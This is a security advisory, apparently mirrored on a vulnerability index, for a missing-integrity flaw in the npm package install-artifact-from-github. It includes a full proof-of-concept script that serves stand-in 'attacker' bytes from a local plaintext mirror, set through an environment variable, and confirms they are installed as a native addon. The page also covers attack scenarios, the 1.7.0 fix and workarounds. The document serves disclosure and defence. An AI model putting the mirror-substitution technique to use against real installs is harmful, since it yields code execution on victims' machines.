GHSA-88Q3-GCH3-5396
install-artifact-from-github loads downloaded native artifacts without integrity verification
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-88Q3-GCH3-5396 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Description
`bin/install-from-cache.js` downloads a prebuilt native addon (`*.node`) over the network and writes it directly to the artifact path with no cryptographic integrity verification of any kind — no checksum manifest, no signature, no SRI. A scan of the whole package for `createHash|sha256|checksum|integrity|digest|signature` finds nothing. The file is then `require()`-loaded by the consumer, which executes the addon's native module-init code. Anyone able to influence the download achieves code execution on the installing machine.
Affected code (v1.6.0)
- Mirror is fully attacker-steerable via an env var, no host pinning — `bin/install-from-cache.js:80`:
- The write sink is a bare `writeFile`, no verification — `bin/install-from-cache.js:185-187`:
- Cleartext transfer + silent protocol downgrade on redirect — `bin/install-from-cache.js:155,165`:
The post-download "verification" is not an integrity gate
`isVerified()` optionally runs `npm run verify-build` / `npm test` *after* writing the file. For `re2`, `scripts/verify-build.js` `require()`s the binary as its first line — i.e. the downloaded addon's native code has already executed by the time any check runs. It is a functional smoke test, not an integrity gate, and it is skipped entirely when any `npm_config_platform*` env var is set (`:120-122`).
Proof of concept
A self-contained, non-malicious PoC (`poc.js`) proves the missing-integrity property against the real `install-from-cache`, without shipping a weaponized binary: it stands up a plaintext-HTTP "mirror" serving a sentinel payload, runs `install-from-cache` with `RE2_DOWNLOAD_MIRROR` pointed at it, and shows the served bytes are written verbatim to `build/Release/re2.node`:
npm i install-artifact-from-github
IAFG_BIN=./node_modules/install-artifact-from-github/bin/install-from-cache.js node poc.jsattacker mirror (plaintext http) on 127.0.0.1:PORT
[mirror] served 2083 attacker bytes over HTTP for /uhop/node-re2/releases/download/1.24.1/darwin-arm64-137
Writing to build/Release/re2.node ... Done.
install-from-cache exit: 0
served sha256: ec6fdde6...4ebc
written sha256: ec6fdde6...4ebc
✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected themThe install succeeds (exit 0) with attacker-controlled bytes at the artifact path. Because a real `.node` executes on `require()` (NAPI/`NODE_MODULE` init), substituting a malicious one yields code execution in the installing/running process. (A full code-execution harness using a benign marker-writing native addon was verified separately and is available on request; withheld here to avoid shipping executable payloads.)
## Attack scenarios (any one suffices)
- Attacker-configured or later-compromised `RE2_DOWNLOAD_MIRROR`.
- Tampered GitHub release / compromised maintainer account — no checksum detects a swapped asset, even over HTTPS.
- On-path attacker where a plaintext (`http://`) mirror or an `https→http` redirect is in play.
## Suggested fix
1. Publish per-release `SHASUMS256.txt` (or embed expected digests) and verify the download's SHA-256 before writing/loading; refuse on mismatch. (This is the model `prebuild-install` already uses.)
2. Reject `http://` asset URLs and `https→http` redirect downgrades; pin scheme across redirects; cap redirect count/hosts.
3. Document that `verify-build`/`test` run *after* load and cannot gate integrity.
## PoC
poc.js:
// PoC — install-artifact-from-github writes a network-downloaded artifact to disk with NO
// integrity verification, from an env-controlled mirror, over plaintext HTTP.
//
// This proves the CORE defect (arbitrary attacker-supplied bytes become build/Release/re2.node
// with zero checksum/signature check) WITHOUT shipping a weaponized native binary: we serve a
// sentinel payload and show byte-for-byte (sha256) that it is written verbatim as the artifact.
// Because a .node artifact is dlopen()'d on require (running its module-init native code), an
// attacker who substitutes it — via a compromised/attacker-set RE2_DOWNLOAD_MIRROR, a tampered
// GitHub release, or an on-path MITM on the plaintext path — achieves code execution.
//
// Run: IAFG_BIN=/path/to/install-artifact-from-github/bin/install-from-cache.js node poc.js
// (defaults to require.resolve if install-artifact-from-github is installed nearby)
const http = require('http');
const fs = require('fs');
const os = require('os');
const path = require('path');
const crypto = require('crypto');
const { spawn } = require('child_process');
const IAFG = process.env.IAFG_BIN || require.resolve('install-artifact-from-github/bin/install-from-cache.js');
const SENTINEL = Buffer.from('ATTACKER-CONTROLLED-ARTIFACT-BYTES-' + 'A'.repeat(2048)); // stand-in for a malicious .node
const servedSha = crypto.createHash('sha256').update(SENTINEL).digest('hex');
const work = fs.mkdtempSync(path.join(os.tmpdir(), 'iafg-poc-'));
fs.writeFileSync(path.join(work, 'package.json'), JSON.stringify({
name: 're2', version: '1.24.1', repository: { type: 'git', url: 'https://github.com/uhop/node-re2.git' },
scripts: { 'verify-build': 'node -e "process.exit(0)"' } // trivial pass; the WRITE happened before this
}));
const server = http.createServer((req, res) => {
process.stdout.write(` [mirror] served ${SENTINEL.length} attacker bytes over HTTP for ${req.url}\n`);
res.writeHead(200, { 'content-type': 'application/octet-stream' });
res.end(SENTINEL);
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
console.log(`attacker mirror (plaintext http) on 127.0.0.1:${port}`);
const child = spawn('node', [IAFG,
'--artifact', 'build/Release/re2.node',
'--host-var', 'RE2_DOWNLOAD_MIRROR',
'--skip-path-var', 'RE2_DOWNLOAD_SKIP_PATH',
'--skip-ver-var', 'RE2_DOWNLOAD_SKIP_VER'], {
cwd: work, stdio: ['ignore', 'inherit', 'ignore'],
env: { ...process.env, RE2_DOWNLOAD_MIRROR: `http://127.0.0.1:${port}`,
npm_package_version: '1.24.1', npm_package_github: 'https://github.com/uhop/node-re2',
npm_package_scripts_verify_build: 'node -e "process.exit(0)"' }
});
child.on('exit', (code) => {
server.close();
console.log('install-from-cache exit:', code);
const artifact = path.join(work, 'build/Release/re2.node');
if (fs.existsSync(artifact)) {
const writtenSha = crypto.createHash('sha256').update(fs.readFileSync(artifact)).digest('hex');
console.log('served sha256:', servedSha);
console.log('written sha256:', writtenSha);
console.log(servedSha === writtenSha
? '✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected them (served over plaintext HTTP from an env-controlled mirror). A real .node here would execute on require().'
: '✗ sha mismatch');
} else {
console.log('✗ artifact not written (check IAFG_BIN path)');
}
fs.rmSync(work, { recursive: true, force: true });
});
});Patches
Fixed in 1.7.0 via hash-bag verification. The consuming package publishes an `artifactHashes` map (`slot → sha256:<hex>` of the decompressed binary) in its *own* `package.json` — immutable once on npm, stamped at publish time by the new `hash-github-cache --write` bin (e.g. wired as `prepublishOnly`). `install-from-cache` now verifies the decompressed download before writing it to disk; a hash mismatch or a missing slot rejects the download and falls back to building from source. Verification is scoped to the default `github.com` source — an explicitly configured mirror (`--host` / mirror env var) remains trust-the-mirror by design. Because the bytes are checked against the published bag, an on-path attacker or an `https→http` transport downgrade on the default path is also defeated by content verification.
Note: verification activates only when the consuming package ships an `artifactHashes` bag; packages without one behave as before (backward-compatible, zero-config default). `node-re2 >= 1.26.0` publishes a stamped bag.
Workarounds
On `<= 1.6.0`: skip downloading entirely and build from source via the documented dev short-circuit (`DEVELOPMENT_SKIP_GETTING_ASSET` env var, or a `.development` file). 1.7.0 adds first-class `--force-build` / `DOWNLOAD_FORCE_BUILD` for the same effect. In all versions, never point a mirror variable (e.g. `RE2_DOWNLOAD_MIRROR`) at a host you do not fully control.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npminstall-artifact-from-github |
Corregida | 1.7.0 | — | — |
1.7.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/uhop/install-artifact-from-github/security/advisories/GHSA-88q3-gch3-5396https://github.com/uhop/install-artifact-from-github/commit/1d2d8637556a03f6235e50fe0c238c6dce291633https://github.com/uhop/install-artifact-from-githubhttps://github.com/uhop/install-artifact-from-github/releases/tag/1.7.0Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
